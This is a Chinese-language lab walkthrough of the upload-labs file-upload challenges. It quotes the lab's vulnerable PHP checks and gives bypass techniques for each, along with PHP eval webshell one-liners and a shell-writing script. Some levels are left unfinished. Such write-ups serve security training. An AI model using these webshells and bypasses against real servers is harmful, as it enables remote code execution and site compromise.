文件上传漏洞

pass-02(考点:MIME类型绕过)

代码:
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }}
后缀名只能是image/jpeg,image/png,image/gif
没有对上传内容或者什么设置安全防御,可以用Burp Sutie把上传的的图片改成.php文件
php上传木马:
<?php @eval($_REQUEST['cmd']);?>

pass-03

黑名单:asp|.aspx|.php|jsp文件
$file_ext = strtolower($file_ext); //转换为小写
大小混洗无法绕过
可以利用php4,php5绕过。
如果在 apache 可以开启 application/x-httpd-php
在 AddType application/x-httpd-php .php .phtml .php3
后缀名为 phtml 、php3 均被解析成 php 有的 apache 版本

pass-04(黑名单.htaccess绕过

黑名单包括了很多,但是可以使用.htaccess
AddType application/x-httpd-php .jpg .txt 意思是把.jpg 和.txt里面的内容当成php文件运行
然后提交.htaccess 然后在使用后缀名为.jpg
<?php @eval($_POST['a']);?>
然后再使用蚁剑连接。

pass-05

".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"
这些都拉入黑名单,同时大小写混写也不能用
这时候我们可以用.user.ini
原理当php.ini执行时会查看根目录或者子目录里面的.user.ini,然后查看里面的内容,并且覆盖该文件
所有我们先上传.user.ini
auto_prepend_file=111.png
然后创建111.png内容为
<?php
@eval($_POST['a']);
echo"包含成功<br/>"
?>
然后查看
http://upload-labs-master/upload/readme.php(readme.php必须存在)
进行用连接

pass-06

可以发现黑名单很多,并且包括了 .htaccess,.ini
但是这个可以使用后缀名大小写绕过
1.Php
<?php @eval($_POST['a']);?>
然后使用蚁剑。

pass-07(空格绕过)

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}}
有黑名单比较前面,然后又防止了大小混写
默认点,但是少了末尾空格,可以利用空格进行绕过
1.php    进行绕过
<?php @eval($_POST['a']);?>
然后进行蚁剑连接

pass-08(后缀名.绕过)

Pass-08
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }}

没有对后缀名。绕过
利用Burp Suite
上传.php.,进行绕过,使用蚁剑进行绕过

pass-09(::$DATA绕过)

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }}
利用Burp Suite
上传.php::$DATA ,进行绕过,使用蚁剑进行绕过

pass-10(. . 绕过点空格点绕过)

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }}
. . 绕过点空格点绕过
利用Burp Suite
上传.php . . ,进行绕过,使用蚁剑进行绕过

pass-11(双写绕过)

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");


        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }}
str_ireplace(),把黑名单里面的后缀替换成空格,那么我们就可以使用双写来绕过
利用Burp Suite
上传.pphphp ,进行绕过,使用蚁剑进行连接

pass-12(白名单-%00绕过)

$is_upload = false;$msg = null;if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }}
白名单:只能上传jpg,png,gif
使用
POST /Pass-12/index.php?save_path=../upload/111.php HTTP/1.1
前提条件是使用
php版本< 5.3
php.ini这个配置文件中 magic_quotes_gpc必须为 off
进行绕过,使用蚁剑进行绕过

pass-13(白名单-%00绕过)

然后把;改成空格,然后在hex里面改成00
但是不知道为什么是变成这样

pass-14(标识绕过)

前置知识
utf-8中,一个英文字符占一个字节,中文(含繁体字)占三个字节
(后续。。。。。)
function getReailFileType($filename){

    $file = fopen($filename, "rb");

    $bin = fread($file, 2); //只读2字节

    fclose($file);

    $strInfo = @unpack("C2chars", $bin);    

    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    

    $fileType = '';    

    switch($typeCode){      

        case 255216:            

            $fileType = 'jpg';

            break;

        case 13780:            

            $fileType = 'png';

            break;        

        case 7173:            

            $fileType = 'gif';

            break;

        default:            

            $fileType = 'unknown';

        }    

        return $fileType;}





$is_upload = false;$msg = null;if(isset($_POST['submit'])){

    $temp_file = $_FILES['upload_file']['tmp_name'];

    $file_type = getReailFileType($temp_file);





    if($file_type == 'unknown'){

        $msg = "文件未知,上传失败!";

    }else{

        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;

        if(move_uploaded_file($temp_file,$img_path)){

            $is_upload = true;

        } else {

            $msg = "上传出错!";

        }

    }}

检测:前面文件头俩个字符

方法:文件头添加89,50

然后使用文件包含漏洞?file=./upload/6620240327232726.png

然后使用蚁剑连接

pass-15(图片木马绕过)

对标识进行检测

使用一张图片,把脚本写进图片里面去

例如:准备a.png文件+111.php

然后在cmd里面进行连接

copy a.png/b+111.php 文件名.png

脚本加入成功

然后上传,使用包含漏洞进行访问文件名.png的内容

然后使用蚁剑进行连接

pass-16(图片绕过)

和pass15一样

pass-17(图片渲染)

图片渲染:

会把里面的脚本清除掉,但是不会影响图片打开。

$is_upload = false;$msg = null;if (isset($_POST['submit'])){

    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径

    $filename = $_FILES['upload_file']['name'];

    $filetype = $_FILES['upload_file']['type'];

    $tmpname = $_FILES['upload_file']['tmp_name'];





    $target_path=UPLOAD_PATH.'/'.basename($filename);





    // 获得上传文件的扩展名

    $fileext= substr(strrchr($filename,"."),1);





    //判断文件后缀与类型,合法才进行上传操作

    if(($fileext == "jpg") && ($filetype=="image/jpeg")){

        if(move_uploaded_file($tmpname,$target_path)){

            //使用上传的图片生成新的图片

            $im = imagecreatefromjpeg($target_path);





            if($im == false){

                $msg = "该文件不是jpg格式的图片!";

                @unlink($target_path);

            }else{

                //给新图片指定文件名

                srand(time());

                $newfilename = strval(rand()).".jpg";

                //显示二次渲染后的图片(使用用户上传图片生成的新图片)

                $img_path = UPLOAD_PATH.'/'.$newfilename;

                imagejpeg($im,$img_path);

                @unlink($target_path);

                $is_upload = true;

            }

        } else {

            $msg = "上传出错!";

        }





    }else if(($fileext == "png") && ($filetype=="image/png")){

        if(move_uploaded_file($tmpname,$target_path)){

            //使用上传的图片生成新的图片

            $im = imagecreatefrompng($target_path);





            if($im == false){

                $msg = "该文件不是png格式的图片!";

                @unlink($target_path);

            }else{

                 //给新图片指定文件名

                srand(time());

                $newfilename = strval(rand()).".png";

                //显示二次渲染后的图片(使用用户上传图片生成的新图片)

                $img_path = UPLOAD_PATH.'/'.$newfilename;

                imagepng($im,$img_path);





                @unlink($target_path);

                $is_upload = true;               

            }

        } else {

            $msg = "上传出错!";

        }





    }else if(($fileext == "gif") && ($filetype=="image/gif")){

        if(move_uploaded_file($tmpname,$target_path)){

            //使用上传的图片生成新的图片

            $im = imagecreatefromgif($target_path);

            if($im == false){

                $msg = "该文件不是gif格式的图片!";

                @unlink($target_path);

            }else{

                //给新图片指定文件名

                srand(time());

                $newfilename = strval(rand()).".gif";

                //显示二次渲染后的图片(使用用户上传图片生成的新图片)

                $img_path = UPLOAD_PATH.'/'.$newfilename;

                imagegif($im,$img_path);





                @unlink($target_path);

                $is_upload = true;

            }

        } else {

            $msg = "上传出错!";

        }

    }else{

        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";

    }}

对png,jpg,git进行图片渲染

把脚本放在图片内容里面去

最好是.git

插入<?php @eval($_POST['a']);?>

然后上传,使用包含漏洞解析里面的内容?file=./upload/45324353.git

然后使用蚁剑连接

pass18(条件竞争)

生成小马:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['a'])?>');?>

这个需要一定的运气,然后使用Burop 爆破,但是没有成功,下次加上去!!!

pass19(apache解析漏洞+条件竞争)

和pass18差不多,pass我没有成功过啊啊啊啊

pass20(漏洞后缀绕过)

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {

    if (file_exists(UPLOAD_PATH)) {

        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");





        $file_name = $_POST['save_name'];

        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);





        if(!in_array($file_ext,$deny_ext)) {

            $temp_file = $_FILES['upload_file']['tmp_name'];

            $img_path = UPLOAD_PATH . '/' .$file_name;

            if (move_uploaded_file($temp_file, $img_path)) {

                $is_upload = true;

            }else{

                $msg = '上传出错!';

            }

        }else{

            $msg = '禁止保存为该类型文件!';

        }





    } else {

        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';

    }}

没有过滤,然后直接先判断是否在黑名单中,然后服务器直接调用.

可以使用黑名单绕过,很多都没有限制,可以用.,. . ,user.ini等

这里我们使用.

然后上传成功直接使用蚁剑进行连接

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值